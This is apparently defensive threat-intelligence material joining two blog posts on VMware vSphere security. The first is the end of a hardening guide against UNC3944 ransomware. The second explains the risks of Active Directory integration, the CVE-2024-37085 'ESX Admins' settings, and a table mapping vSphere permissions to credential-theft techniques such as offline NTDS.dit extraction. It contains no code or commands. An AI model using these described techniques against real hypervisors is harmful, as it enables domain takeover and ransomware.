• Enforce execInstalledOnly: This powerful ESXi kernel setting prevents the execution of any binary that wasn't installed as part of a signed, packaged vSphere Installation Bundle (VIB). It would have directly blocked the threat actor's custom ransomware from running. 
• Use vSphere VM encryption: Encrypt your Tier 0 virtualized assets (DCs, PKI, etc.). This is the definitive technical block for the offline disk-swap attack, rendering any stolen disk files unreadable.
• Practice strict infrastructure hygiene: Don't just power off old VMs. Implement a strict decommissioning process that deletes their disks from the datastore or moves them to segregated archival storage to eliminate potential "staging" machines.
• Posture management: It is vital to implement continuous vSphere posture Management (CPM) because hardening is not a one-time task, but a security state that must be constantly maintained against "configuration drift." The UNC3944 playbook fundamentally relies on creating these policy deviations—such as enabling SSH or altering firewall rules. This can be achieved either through dedicated Hybrid Cloud Security Posture Management (CSPM) tools, such as the vSphere Aria Operations Compliance Pack, Wiz, or by developing custom in-house scripts that leverage the vSphere API via PowerShell/PowerCLI to regularly audit your environment. 
• Harden the help desk: For privileged accounts, mandate that MFA enrollment or password resets require an in-person, multipart, or high-assurance multi-factor verification process.

Pillar 2: Identity and Architectural Integrity (Breaking the Attack Chain)

• Enforce phishing-resistant MFA everywhere: This must be applied to VPN, vCenter logins, and all privileged AD accounts. Use hardened PAWs with exclusive, firewalled access to the virtual center.
• Isolate critical identity infrastructure: Run your Tier 0 assets (Domain Controllers, PAM, Veeam etc) in a dedicated, highly-secured "identity cluster" with its own stringent access policies, segregated from general-purpose workloads.
• Avoid authentication loops: A critical architectural flaw is hosting identity providers (AD) recovery systems (Veeam) or privileged access management (PAM) on the very virtualization platform they secure and authenticate. A compromise of the underlying ESXi hosts results in a correlated failure of both the dependent services and the means to restore them, a scenario that significantly complicates or prevents disaster recovery.
• Consider alternate identity providers (IdPs): To break the "AD-to-everything" chain, consider using a separate, cloud-native IdP like Azure Entra ID for authenticating to infrastructure.

Pillar 3: Advanced Detection and Recovery (Your Safety Net)

• Build detections after hardening: The most effective alerts are those that detect the attempted manipulation of the hardening controls you've put in place. Harden first, then build your detection logic.
• Centralize and monitor key logs: Forward all logs from AD, vCenter, ESXi, networking infrastructure, firewalls, and backups to a SIEM. Correlate logs from these disparate sources to create high-fidelity detection scenarios that can spot the threat actors' methodical movements.
• Focus on high-fidelity alerts: Prioritize alerting on events in phases 1-3. Detecting the enablement of SSH on a host, a VCSA takeover, or membership changes to your "Veeam Admins" group will enable you to act before data exfiltration and ransomware deployment.
• Architect for survival: Assume the worst-case scenario. Your immutable and air-gapped backups are your last line of defense. They must be isolated from your production AD and inaccessible to a compromised administrator. Test your recovery plan against this specific threat model to ensure it works.

Conclusion: The Defender’s Mandate — Harden and Alert

UNC3944's playbook requires a fundamental shift in defensive strategy, moving from EDR-based threat hunting to proactive, infrastructure-centric defense. This threat differs from traditional Windows ransomware in two ways: speed and stealth. While traditional actors may have a dwell time of days or even weeks for reconnaissance, UNC3944 operates with extreme velocity; the entire attack chain from initial access to data exfiltration and final ransomware deployment can occur in mere hours. This combination of speed and minimal forensic evidence makes it essential to not just identify but to immediately intercept suspicious behavioral patterns before they can escalate into a full-blown compromise.

This living-off-the-land (LotL) approach is so effective because the Virtual Center appliance and ESXi hypervisor cannot run traditional EDR agents, leaving a significant visibility gap at the virtualization layer. Consequently, sophisticated detection engineering within your SIEM becomes the primary and most essential method for active defense.

This reality presents the most vital key for defenders: the ability to detect and act on early alerting is paramount. An alert generated during the final ransomware execution is merely a notification of a successful takeover. In contrast, an alert that triggers when the threat actor first compromises a help desk account or accesses Virtual Center from an unusual location is an actionable starting point for an investigation—a crucial window of opportunity to evict the threat before they achieve complete administrative control.

A resilient defense, therefore, cannot rely on sifting through a sea of broad, noisy alerts. This reactive approach is particularly ineffective when, as is often the case, many vSphere environments are built upon a foundation of insecure defaults—such as overly permissive roles or enabled SSH—and suffer from a lack of centralized logging visibility from ESXi hosts and vCenter. Without the proper context from these systems, a security team is left blind to the threat actors' methodical, LotL movements until it is far too late.

Instead, the strategy must be twofold. First, it requires proactive, defense-in-depth technical hardening to systematically correct these foundational gaps and reduce the attack surface. Second, this must be complemented by a deep analysis of the threat actor's tactics, techniques, and procedures (TTPs) to build the high-fidelity correlation rules and logging infrastructure needed to spot their earliest movements. This means moving beyond single-event alerts and creating rules that connect the dots between a help desk ticket, a password reset in Active Directory, and a subsequent anomalous login to vCenter.

These two strategies are symbiotic, creating a system where defense enables detection. Robust hardening is not just a barrier, it also creates friction for the threat actor, forcing them to attempt actions that are inherently suspicious. For example, when Lockdown Mode is enabled (hardening), a threat actor's attempt to open an SSH session to an ESXi host will fail, but it will also generate a specific, high-priority event. The control itself creates the clean signal that a properly configured SIEM is built to catch.

For any organization with a critical dependency on vSphere, this is not a theoretical exercise. What makes this threat exceptionally dangerous is its ability to render entire security strategies irrelevant. It circumvents traditional tiering models by attacking the underlying hypervisor that hosts all of your virtualized Tier 0 assets—including Domain Controllers, Certificate Authorities, and PAM solutions—rendering the logical separation of tiering completely ineffective. Simultaneously, By manipulating virtual disks while the VMs are offline, it subverts in-guest security solutions—such as EDR, antivirus (AV), DLP, and host-based intrusion prevention systems (HIPS)—as their agents cannot monitor for direct ESXi level changes.

The threat is immediate, and the attack chain is proven. Mandiant has observed that the successful hypervisor-level tactics leveraged by groups like UNC3944 are no longer exclusive; these same TTPs are now being actively adopted by other ransomware groups. This proliferation turns a specialized threat into a mainstream attack vector, making the time to act now.

Written by: Stuart Carrera, Brian Meyer

Executive Summary

Broadcom's VMware vSphere product continues to be a top choice for private cloud virtualization, underpinning important systems and critical infrastructure. Far from losing its appeal, organizations still rely heavily on vSphere for its stability and control. Mandiant is also observing a clear trend where critical workloads are moving back from public cloud services to these on-premises vSphere environments, often driven by strategies that balance innovation with stability and the desire for more direct operational oversight.

The common practice of directly integrating vSphere with Microsoft Active Directory (AD), while simplifying administration tasks, creates an attack path frequently underestimated due to a misunderstanding of the inherent risks presented today. This configuration extends the AD attack surface directly to the hypervisor. From a threat actor's perspective, this integration constitutes a high-value opportunity. It transforms the relatively common task of compromising AD credentials into a potential high value scenario, granting access to the underlying infrastructure hosting the servers and in turn allowing them to gain privileged administrative control over ESXi hosts and vCenter and ultimately seize complete command of the virtualized infrastructure.

Ransomware aimed at vSphere infrastructure, including both ESXi hosts and vCenter Server, poses a uniquely severe risk due to its capacity for immediate and widespread infrastructure paralysis. With the end of general support for vSphere 7.x approaching in October 2025—the version Mandiant has observed to be running by a large majority of organizations—the threat of targeted ransomware has become urgent. As recovering from such an attack requires substantial time and resources, proactive defense is paramount. It is therefore critical for organizations to understand the specific threats against these core components and implement effective, unified countermeasures to prevent their compromise, especially before support deadlines introduce additional risk.

This blog post will logically break down the inherent risks and misunderstandings with integrating vSphere with Microsoft AD. Using Mandiant's deep experience of both vSphere ransomware incidents and proactive assessments of both AD and vSphere, we will provide a directive for understanding risk and increasing security posture aligned with today's threats in respect of enterprise vSphere management.

After learning about the risks, our next blog post contains actionable guidance on how to defend your VMware vSphere estate. Additionally, register for our upcoming webinar to learn these strategies directly from Mandiant experts.

vSphere Infrastructure Overview

To understand the security risks in a vSphere environment, it's essential to understand its architecture. A compromise at one layer can have cascading effects throughout the entire virtualized environment.

At its core, vSphere is a platform that pools physical datacenter resources like compute, storage, and networking into a flexible layer of virtual infrastructure, a task primarily accomplished by two key components, ESXi and vCenter, as shown in the following diagram:

• ESXi (The Hypervisor): This is the foundational layer of vSphere. ESXi is a bare metal hypervisor, meaning it installs directly onto the physical server hardware without requiring an underlying operating system. Its core job is to partition that server into multiple, isolated virtual machines (VMs). Each VM, which is essentially just a collection of files, runs its own operating system and applications, acting like an independent computer. The hypervisor's minimal design is intentional, aiming to reduce its own attack surface while efficiently managing the server's resources.

• vCenter (The Control Plane): If ESXi hosts are the workers, the vCenter Server is the "brain" or control plane for the entire environment. It provides a single web-based interface to manage all connected ESXi hosts and the VMs they run. ESXi hosts are registered with vCenter, which uses agents on each host to manage operations and enable advanced features like automatic workload balancing and high availability for failover protection.

Integrating vSphere with AD creates a flexible environment that simplifies identity management, yet it introduces profound security risks. This direct link can turn an AD compromise into a significant threat against the entire vSphere deployment. 

An Outdated Blueprint: Re-examining Foundational vSphere Security

Virtualization has been a cornerstone of enterprise IT for nearly two decades, solving server sprawl and delivering transformative operational agility. Alongside it, AD remains a pillar of enterprise IT. This has led to a long-standing directive that all enterprise technology, including critical infrastructure like vSphere, must integrate with AD for centralized authentication. The result is a risky dependency—the security of foundational infrastructure is now directly tied to the security of AD, meaning any compromise within AD becomes a direct threat to the entire virtualization environment.

In the past, vSphere security was often approached in distinct, siloed layers. Perimeter security was stringent, and threats were typically viewed as internal, such as configuration errors, rather than from external threat actors. This, combined with the newfound ease of image-based backups, often led to security efforts becoming primarily focused on robust business continuity and disaster recovery capabilities over proactive defense. As environments expanded, managing local user accounts created significant administrative overhead, so support for AD integration was introduced for centralized identity management.

Mandiant’s observation, based on extensive incident response engagements, is that many vSphere environments today still operate on this foundational architecture, carrying forward security assumptions that haven't kept pace with the evolving threat landscape. As Mandiant’s assessments frequently identify, these architectures often prioritize functionality and stability over a security design grounded in today's threats.

So what’s changed? Reliance solely on perimeter defenses is an outdated security strategy. The modern security boundary focuses on the user and device, typically protected by agent-based EDR solutions. But here lies the critical gap: The ESXi hypervisor, a purpose-built appliance, which, contrary to what many people believe, is not a standard Linux distribution. This specialized architecture inherently prevents the installation of external software, including security tools like EDR agents. vSphere documentation explicitly addresses this, stating:

“The ESXi hypervisor is a specialized, purpose-built solution, similar to a network router’s firmware. While this approach has several advantages, it also makes ESXi unable to run “off-the-shelf” software, including security tools, designed for general-purpose operating systems as the ESXi runtime environment is dissimilar to other operating systems.

The use of Endpoint Detection and Response (EDR) and other security practices inside third-party guest operating systems is supported and recommended."

Source: Broadcom

Consequently, most organizations focus their security efforts and EDR deployment inside the guest operating systems. This leaves the underlying ESXi hypervisor—the foundation of the entire virtualization environment—as a significant blind spot for security teams.

The vSphere Threat Landscape

The security gap at the hypervisor layer, which we detailed in the previous section, has not gone unnoticed by threat actors. As security for Windows-based operating systems matured with advanced EDR solutions, threat actors have pivoted to a softer, higher-value target—the ESXi hypervisor itself.

This pivot is amplified by common operational realities. The critical role of ESXi hosts often leads to a hesitancy to apply patches promptly for fear of disruption. Many organizations face a rapidly closing window to mitigate risks; however, threat actors aren't just relying on unpatched vulnerabilities. They frequently leverage compromised credentials, a lack of MFA, and simple misconfigurations to gain access.

The Rise of Hypervisor-Aware Ransomware

Ransomware targeting vSphere is fundamentally more devastating than its traditional Windows counterpart. Instead of encrypting files on servers or end user computers, these attacks aim to cripple the entire infrastructure by encrypting virtual disk files (VMDKs), disabling dozens of VMs at once.

This is not a theoretical threat. According to Google Threat Intelligence Group (GTIG), the focus on vSphere is rapidly increasing. Of the new ransomware families observed, the proportion specifically tailored for vSphere ESXi systems grew from ~2% in 2022 to over 10% in 2024. This demonstrates a clear and accelerating trend that threat actors are actively dedicating resources to build tooling that specifically targets the hypervisor. In incidents investigated by GTIG, threat actors most frequently deployed REDBIKE, RANSOMHUB, and LOCKBIT.BLACK variants.

GTIG analysts have also noted a recent trend for threat actors to gain persistence to vSphere environments via reverse shells deployed on Virtual center. This enables a foothold to be obtained within the vSphere control plane and thus complete control over all infrastructure. This would typically manifest in into a two-pronged approach: a tactical data exfiltration such as an AD database (NTDS.dit) and then the deployment of ransomware and mass encryption of all VMs.

Understanding the Active Directory Integration in vSphere 

The decision to integrate vSphere with AD often overlooks the specifics of how this connection actually works. To properly assess the risk, we must look beneath the surface at the technical components that enable this functionality. This analysis will deconstruct those key pieces: the legacy agent responsible for authentication, its inherent inability to support modern security controls like multi-factor authentication (MFA), and the insecure default trust relationships it establishes. By examining these foundational mechanisms, we can expose the direct line from a credential compromise to an infrastructure takeover.

vSphere’s Likewise Agent

When discussing vSphere's integration with AD, it's essential to distinguish between two separate components: vCenter Server and the ESXi hosts. Their respective AD integration options are independent and possess different capabilities. This connection is entirely facilitated by the Likewise agent.

The Likewise agent was originally developed by Likewise Software to allow Linux and Unix-based systems to join AD environments, enabling centralized identity management using standard protocols like Kerberos, NTLM, and LDAP/(S). The open-source edition, Likewise Open, included tools such as domainjoin-cli and system daemons like lsassd, which are still found under the hood in ESXi and the vCenter Server Appliance (VCSA). vSphere embedded this agent starting with ESX 4.1 (released in 2010) to facilitate Integrated Windows Authentication (IWA). However, its function differs:

• In ESXi, the Likewise agent actively handles AD user authentication when configured.

• In vCenter, it is only used for the initial domain join when Integrated Windows Authentication (IWA) is selected as the identity source—all actual authentication is then handled by the vCenter Single Sign On (SSO) subsystem.

The original Likewise Software was eventually absorbed by BeyondTrust, and the open-source edition of the agent is no longer actively maintained publicly. The Likewise OSS project is now archived and marked as inactive. It is understood the codebase is only maintained internally. Note: The agent's build version remains identical at Likewise Version 6.2.0 across both ESXi 7 and 8.

Figure 1: ESXi Likewise Agent versions

The following table lists comparisons between native AD connection methods for both Virtual Center and ESXi.

Feature / Capability

ESXi Host

vCenter Server (VCSA)

AD Integration Method

Integrated Windows Authentication (IWA) only

IWA and LDAP/LDAPS

Federated Identity (SAML, OIDC)

Likewise Agent Used

Yes – exclusively for IWA domain join and authentication

Yes – Used for IWA domain join only

Authentication Protocols Supported

Kerberos (via IWA only)

Kerberos (IWA), LDAP(S), SAML, OIDC

Modern Auth Support (OIDC, SAML, FIDO2)

Not supported 

Not supported via AD

Supported only when using federated IdPs

MFA Support

Not supported

Not supported via AD DS

Supported via Identity Federation (ADFS, Azure AD, etc.)

Granular Role-Based Access Control (RBAC)

Limited (via host profile or CLI only)

Advanced RBAC with vCenter SSO

Why Not to Use Likewise-Based AD Integration (ESXi/vCenter)

The following list contains considerations when using AD-based connections managed by the vSphere Likewise agent:

• Deprecated software: Likewise is legacy software, no longer maintained or supported upstream.

• No support for modern authentication: Likewise only supports Integrated Windows Authentication (Kerberos) and offers no support for SAML, OIDC, or FIDO2.

• No MFA: Likewise cannot enforce contextual policies such as MFA, geolocation restrictions, or time-based access.

• Credential material stored locally: Kerberos keytabs and cached credentials are stored unencrypted on disk.

VMware recommends leveraging identity federation with modern identity providers, bypassing the limitations of the legacy Likewise-based stack. Broadcom announced on March 25 that IWA will be removed in the next major release. 

The MFA Gap

While AD integration offers administrative convenience, it introduces significant security limitations, particularly regarding MFA. Traditional AD authentication methods, including Kerberos and NTLM, are inherently single-factor. These protocols do not natively support MFA, and the vCenter Likewise integration does not extend AD MFA enforcement to vCenter or ESXi.

Critically, ESXi does not support MFA in any form, nor does it support identity federation, SAML, or modern protocols such as OIDC or FIDO2. Even for vCenter, MFA can only be applied to users within the vSphere.local domain (using mechanisms like RSA SecurID or RADIUS), but not to AD-joined users authenticated through IWA or LDAP/S.

Ancillary solutions can offer proxy-based MFA that integrate with AD to enforce MFA to vSphere. AuthLite extends the native AD login process by requiring a second factor during Windows authentication, which can indirectly secure vCenter access when Integrated Windows Authentication is used. Silverfort operates at the domain controller level, enforcing MFA on authentication flows in real time without requiring agents on endpoints or changes to vCenter. Both solutions can help enforce MFA into vSphere environments that lack native support for it, but they can also introduce caveats such as added complexity and potential authorization loops if AD becomes dependent on the same infrastructure they protect and the need to treat their control planes or virtual appliances as Tier 0 systems within the vSphere environment.

As a result, in organizations that integrate vSphere with traditional Active Directory, all access to critical vSphere infrastructure (ESXi and Virtual Center) remains protected by password alone and no MFA.

While it is technically possible to enforce MFA in vSphere through Active Directory Federation Services (ADFS), this approach requires careful consideration. It is important to note that ADFS is still a feature included in Windows Server 2025 and is not on any official deprecation list with an end-of-life date. However, the lack of significant new feature development compared to the rapid innovation in Microsoft Entra ID speaks to its status as a legacy technology. This is underscored by the extensive migration resources Microsoft now provides to move applications away from AD FS and into Entra ID.

Therefore, while ADFS remains a supported feature, for the purposes of securing vSphere it is a complex workaround that doesn't apply to direct ESXi access and runs contrary to Microsoft's clear strategic direction toward modern, cloud-based identity solutions.

Another common approach involves Privileged Access Management (PAM). While a PAM-centric strategy offers benefits like centralized control and session auditing, several caveats warrant consideration. PAM systems add operational complexity, and the vCenter session itself is typically not directly federated with the primary enterprise identity provider (like Entra ID or Okta). Consequently, context-aware conditional access policies are generally applied only at the initial PAM logon, not within the vCenter session itself.

Ultimately, these workarounds do not address the core issue: vSphere’s reliance on the Likewise agent and traditional AD protocols prevents native MFA enforcement for AD users, leaving the environment vulnerable.

There is a reliance on a delegated logon based on AD password complexity, and any MFA would have to be at the network access layer or workstation login, not at the vCenter login prompt for those users.

The 'ESX Admins' Problem Is Not an ESXi Issue, It's a Trust Issue 

In July 2024, Microsoft published a blog post on CVE-2024-37085, an "ESXi vulnerability" that was considered a critical issue, and one that vSphere promptly addressed in a patch release. The CVE, present in vSphere ESXi for many years, involved several ESXi advanced settings utilizing insecure default configurations. Upon joining an ESXi host to an AD domain, the "ESX Admins" AD group is automatically granted an ESXi Admin role, potentially expanding the scope of administrative access beyond the intended users.

These settings are configured by the following ESXi controls:

1. Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd
   • What it does: This setting controls whether users from a designated administrators group are automatically added to the host’s local administrative group.
2. Config.HostAgent.plugins.vimsvc.authValidateInterval
   • What it does: This setting defines the time interval at which the host’s management services validate the authentication credentials (or tickets) of connected clients.
3. Config.HostAgent.plugins.hostsvc.esxAdminsGroup
   • What it does: This parameter specifies the name (or identifier) of the group whose members are to be automatically considered for host administrative privileges (when auto-add is enabled by the first setting).

vSphere produced a manual workaround for prior versions of vSphere ESXi 8.0 Update 3 based on the following settings:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd from true to false

Config.HostAgent.plugins.vimsvc.authValidateInterval from 1440 to 90

Config.HostAgent.plugins.hostsvc.esxAdminsGroup from "ESX Admins" to "" 

The following is a configuration fix to default settings in vSphere ESXi 8.0 Update 3:

Config.HostAgent.plugins.hostsvc.esxAdminsGroupAutoAdd from true to false

Config.HostAgent.plugins.vimsvc.authValidateInterval from 1440 to 90

Config.HostAgent.plugins.hostsvc.esxAdminsGroup no change "ESX Admins"  

Integrating an ESXi host with Microsoft AD introduces a fundamental security issue that is often overlooked—the IdP's administrators effectively gain administrative control over the ESXi host and any other system relying on that trust. While a common perception, sometimes reinforced by narratives focusing on the endpoint, suggests the ESXi host itself is the primary vulnerability, the more critical security concern is the implicit, far-reaching administrative power wielded by the administrators of the trusted IdP, particularly when using AD authentication with ESXi.

Administrators of Active Directory implicitly become administrators of any ESXi host that trusts it.

Consequently, neither workarounds nor configuration fixes, which only adjust default settings, resolve this core problem when an ESXi host is joined to AD. The issue transcends specific CVEs; it stems from the inherent security implications of the implicit trust model itself, particularly when it involves systems like ESXi and AD, which already possess their own security vulnerabilities and are frequent targets for threat actors.

In respect of ESXi, context should be applied to the following: 

• Automatic full administrative access: When ESXi hosts are joined to AD, a default (or custom configured) AD group (e.g., "ESX Admins") is granted full root-level administrative privileges on the ESXi hosts. Any member of this AD group instantly gains unrestricted control of the ESXi host.
• Group name: If AD is compromised, threat actors can manipulate any group name used for via the the Config.HostAgent.plugins.hostsvc.esxAdminsGroup advanced setting, This is not limited to the group name “ESX Admins.”
• Lack of security identifier (SID) tracking: AD group names (not limited to “ESX Admins”) added to ESXi are not tracked by their SIDs. This means that a threat actor could rename or recreate a deleted AD group such as “ESX Admins” maintaining the same name in ESXi via Config.HostAgent.plugins.hostsvc.esxAdminsGroup and retain the elevated privileges. This is a limitation of the Likewise ESXi agent.
• Active Directory group management. Any threat actor looking to access a domain-joined ESXi host would need to simply require sufficient permissions to add themselves to the AD group defined via Config.HostAgent.plugins.hostsvc.esxAdminsGroup.

Recent discussions around vulnerabilities like CVE-2024-37085 have brought this security issue to the forefront: the inherent dangers of joining vSphere ESXi hosts directly to an AD domain. While such integration offers perceived management convenience, it establishes a level of trust that can be easily exploited.

Why Your ESXi Hosts Should Never Be Active Directory Domain Joined

Based on previous discussions we can confidently establish that joining an ESXi host to AD carries substantial risk. This is further endorsed where there is an absence of comprehensive ESXi security controls such as Secure Boot, TPM, execInstalledOnly, vCenter integration, comprehensive logging and SIEM integration. Compromised AD credentials tied to an ESXi-joined group will allow remote threat actors to readily exploit the elevated privileges, executing actions such as virtual machine shutdown and ransomware deployment via SSH. These risks can be summarized as follows:

• No MFA support: ESXi does not support MFA for AD users. Domain joining exposes critical hypervisor access to single-factor password-based authentication.

• Legacy authentication protocols: ESXi relies on IWA and Kerberos / NTLM / Windows Session Authentication (SSPI)—outdated protocols vulnerable to various attacks, including pass-the-hash and credential relay.

• Likewise agent is deprecated: The underlying Likewise agent is a discontinued open-source project. Continued reliance on it introduces maintenance and security risks.

• No modern authentication integration: ESXi does not support federated identity, SAML, OIDC, FIDO2, or conditional access. 

• AD policy enforcement is absent: Group Policy Objects (GPOs), conditional access, and login time restrictions do not extend to ESXi via AD join, undermining centralized security controls.

• Complexity without benefit: Domain joining adds administrative overhead without offering meaningful security gains — especially when using vCenter as the primary access point.

• Limited role mapping granularity: Group-based role mappings on ESXi are basic and cannot match the RBAC precision available in vCenter, reducing access control fidelity.

To securely remove ESXi hosts from AD, a multistep process is required to shift access management explicitly to vCenter. This involves assessing current AD usage, designing granular vCenter roles, configuring vCenter's RBAC, removing hosts from the domain via PowerCLI, and preventing future AD re-integration. All management then moves to vCenter, with direct ESXi access minimized. This comprehensive approach prioritizes security and efficiency by moving away from AD reliance for ESXi authentication and authorization towards a vCenter-centric, granular RBAC model. vSphere explicitly discourages joining ESXi hosts to AD:

“ESXi can be joined to an Active Directory domain as well, and that functionality continues to be supported. We recommend directing all configuration & usage through the Role-Based Access Controls (RBAC) present in vCenter Server, though."

Source: VMware

vSphere Virtual Center — The Primary Target

vSphere vCenter Server represents a strategic objective for threat actors due to its authoritative role as the centralized management for virtualized infrastructure. A compromised vCenter instance effectively cedes comprehensive administrative control over the entire virtual estate, encompassing all connected ESXi hypervisors, virtual machines, datastores, and virtual network configurations. 

Through its extensive Application Programming Interfaces (APIs), adversaries can programmatically manipulate all managed ESXi hosts and their resident virtual machines, enabling actions such as mass ransomware deployment, large-scale data exfiltration, the provisioning of rogue virtual assets, or the alteration of security postures to evade detection and induce widespread operational disruption. 

Furthermore, the vCenter Server appliance itself can be subverted by implanting persistent backdoors, thereby establishing covert command-and-control (C2) channels that allow for entrenched persistence and continued malicious operations. Consequently, its critical function renders vCenter a high-value target. The following should be considered:

• Coupled security dependency (compromise amplification risk): Directly linking vCenter to AD makes vSphere security dependent on AD's integrity. As AD is a prime target, compromising privileged AD accounts mapped to vCenter grants immediate, potentially unrestricted administrative access to the virtual infrastructure, bypassing vSphere-specific security layers. Insufficient application of least privilege for AD accounts in vSphere magnifies this risk.

• Single-factor authentication weakness (credential compromise risk): Relying solely on AD password validation makes vCenter highly vulnerable to common credential compromise methods (phishing, brute-force, spraying, stuffing, malware). Without mandatory MFA, a single stolen password for a privileged AD account allows complete authentication bypass, enabling unauthorized access, data breaches, ransomware, or major disruptions.

• Lack of native MFA: The direct vsphere.local-to-AD integration offers no built-in enforcement of strong authentication like phishing resistant FIDO2 . While compatibility exists for external systems (Smart Cards, RSA SecurID), these require separate, dedicated infrastructure and are not inherent features, leaving a significant authentication assurance gap if unimplemented.

• Facilitation of lateral movement and privilege escalation: Compromised AD credentials, even non-administrative ones with minimal vSphere rights, allow threat actors initial vCenter access. vCenter can then be exploited as a pivot point for further network infiltration, privilege escalation within the virtual environment, or attacks on guest systems via console/API access, all stemming from the initial single-factor credential compromise.

Integrating vSphere vCenter directly with AD for identity management, while common, inherently introduces significant security vulnerabilities stemming from coupled dependencies, reliance on single-factor authentication, a lack of native strong MFA, and facilitated attack pathways. These not only critically expose the virtual infrastructure but also provide avenues to exploit the VCSA appliance's attack surface, such as its underlying Linux shell and the lack of comprehensive endpoint detection and response (EDR) capabilities.

Securing vSphere: The Tier 0 Challenge

The widespread practice of running Tier 0 services—most critically, AD domain controllers (often used for direct Identity integration)—directly on vSphere hypervisors introduces a significant and often overlooked security risk. By placing Active Directory Domain Controllers on vSphere, any successful attack against the hypervisor effectively hands threat actors the keys to the entire AD environment, enabling complete domain takeover. Mandiant observes that a general lack of awareness and proactive mitigation persists.

The danger is significant and present, for example, even for vSphere permissions that appear low-risk or are operationally common. For example, the privilege to snapshot an AD virtual machine can be weaponized for complete AD takeover. This specific vSphere capability, often assigned for backup routines, enables offline NTDS.dit (AD database) exfiltration. This vSphere-level action renders many in-guest Windows Server security controls ineffective, bypassing not only traditional measures like strong passwords and MFA, but also advanced protections such as LSASS credential guard and EDR, which primarily monitor activity within the operating system. This effectively paves a direct route to full domain compromise for a threat actor possessing this specific permission. 

Mandiant observed these tactics, techniques, and procedures (TTPs) attributed to various ransomware groups across multiple incidents. The absence of VM encryption and logging makes this a relatively simple task to obtain the AD database while being undetected.

The following table contains a list of sample threats matched to related permissions:

Threat 

Risk

Minimum vSphere Permission Required

Unencrypted vMotion

Memory-in-transit (e.g., LSASS, krbtgt hashes) can be captured during migration.

Role: Virtual Machine Power User or higher Permission: Host > Inventory > Migrate powered on virtual machine

Unencrypted VM Disks

AD database (NTDS.dit), registry hives, and password hashes can be stolen from VMDKs.

Role: Datastore Consumer, VM Admin or higher. Permission Datastore > Browse, Datastore > Low level file operations

Snapshot Creation

Snapshots preserve memory and disk state; can be used to extract in-memory credentials.

Role: Virtual Machine Power User or higher. Permission: Virtual Machine > State > Create Snapshot

Mounting VMDK to another VM

Enables offline extraction of AD secrets (e.g., NTDS.dit, registry, SYSVOL).

Role: VM Admin or custom with disk-level access. Permission Virtual Machine > Configuration > Add existing disk, Datastore > Browse

Exporting / Cloning VM

Enables offline AD analysis, allowing credential extraction or rollback attacks.

Role: Virtual Machine Administrator or higher. Permission: Virtual Machine > Provisioning > Clone, Export OVF Template

Console Access (VMRC / Web Console)

Full keyboard/video access enables manual attacks or credential harvesting.

Role: Virtual Machine User or higher. Permission: Virtual Machine > Interaction > Console interaction

vNIC on Improper VLAN

VM exposed to lateral movement or direct attack from compromised systems.

Role: Virtual Machine Admin or custom. Permission: Virtual Machine > Configuration > Modify device settings

Copy/Paste via vSphere Tools

Silent exfiltration of credentials/scripts via clipboard or drag/drop.

No specific vCenter privilege — host config or tools policy used

BIOS/Boot Order Abuse

ISO boot enables password resets, security bypass, or persistence.

Role: Virtual Machine Admin or custom. Permission: Virtual Machine > Configuration > Modify device settings

Delegation of trust from vSphere vCenter to AD grants implicit administrator privileges on the trusted systems to any AD domain administrator. This elevates the risk profile of AD compromise, impacting the entire infrastructure. To mitigate this, implement a two-pronged strategy: first, create a separate, dedicated vSphere environment specifically for the most critical Tier 0 assets, including AD. This isolated environment should be physically or logically separated from other systems and highly secured with robust network segmentation. Second, implement a zero-trust security model for the control plane of this environment, verifying every access request regardless of source. Within this isolated environment, deploy a dedicated "infrastructure-only" IdP (on-premises or cloud). Implementing the principle of least privilege is paramount. 

A dedicated, isolated vSphere environment for Tier 0 assets (e.g., Active Directory) should have strictly limited administrative access (via a PAW), granting permissions only to those directly managing the infrastructure. This significantly reduces the impact of a breach by preventing lateral movement and minimizing damage. Unnecessary integrations should be avoided to maintain the environment's security and adhere to the least-privilege model.

To effectively safeguard critical Tier 0 assets operating within the vSphere environment–specifically systems like Privileged Access Management (PAM), Security Information and Event Management (SIEM) virtual appliances, and any associated AD tools deployed as virtual appliances–a multilayered security approach is essential. These assets must be treated as independent, self-sufficient environments. This means not only isolating their network traffic and operational dependencies but also, critically, implementing a dedicated and entirely separate identity provider (IdP) for their authentication and authorization processes. For the highest level of assurance, these Tier 0 virtual machines should be hosted directly on dedicated physical servers. This practice of physical and logical segregation provides a far greater degree of separation than shared virtualized environments. 

The core objective here is to break the authorization dependency chain, ensuring that credentials or permissions compromised elsewhere in the network cannot be leveraged to gain access to these Tier 0 systems. This design creates defense in depth security barriers, fundamentally reducing the likelihood and impact of a complete system compromise.

Conclusion

Mandiant has observed that threat actors are increasingly targeting vSphere, not just for ransomware deployment, but also as a key avenue for data exploitation and exfiltration. This shift is demonstrated by recent threat actor activity observed by GTIG, where adversaries have leveraged compromised vSphere environments to exfiltrate sensitive data such as AD databases before or alongside ransomware execution.

As this document has detailed, the widespread reliance on vSphere, coupled with often underestimated risks inherent in its integration with AD and the persistence of insecure default configurations, creates a dangerously vulnerable landscape. Threat actors are not only aware of these weaknesses but are actively exploiting them with sophisticated attacks increasingly targeting ESXi and vCenter to achieve maximum impact.

The usability and stability that make vSphere a foundational standard for on-premise and private clouds can be misleading; they do not equate to inherent security. The evolution of the threat landscape, particularly the direct targeting of the hypervisor layer which bypasses traditional endpoint defenses, necessitates a fundamental shift in how vSphere security is approached. Relying on outdated practices, backups, perimeter defenses alone, or assuming EDR on guest VMs provides sufficient protection for the underlying infrastructure creates significant security gaps and exposes an organization to severe risks.

Identity integration vulnerabilities will be exploited, therefore, organizations are strongly urged to immediately assess their vSphere environment's AD integration status and decisively prioritize the implementation of the mitigation strategies outlined in this document. This proactive stance is crucial to effectively counter modern threats and includes:

1. Decoupling critical dependencies: Severing direct ESXi host integration with AD is paramount to shrinking the AD attack surface.

2. Modernizing authentication: Implementing robust, phishing-resistant MFA for vCenter, preferably via identity federation with modern IdPs, is no longer optional but essential.

3. Systematic hardening: Proactively addressing the insecure defaults for ESXi and vCenter, enabling features like execInstalledOnly, Secure Boot, TPM, Lockdown Mode, and configuring stringent firewall rules.

4. Enhanced visibility: Implementing comprehensive remote logging for both ESXi and vCenter, feeding into a SIEM with use cases specifically designed to detect hypervisor-level attacks.

5. Protecting Tier 0 assets: Strategically isolating critical workloads like Active Directory Domain Controllers in dedicated, highly secured vSphere environments with strict, minimized access controls and encrypted VMs and vMotion.

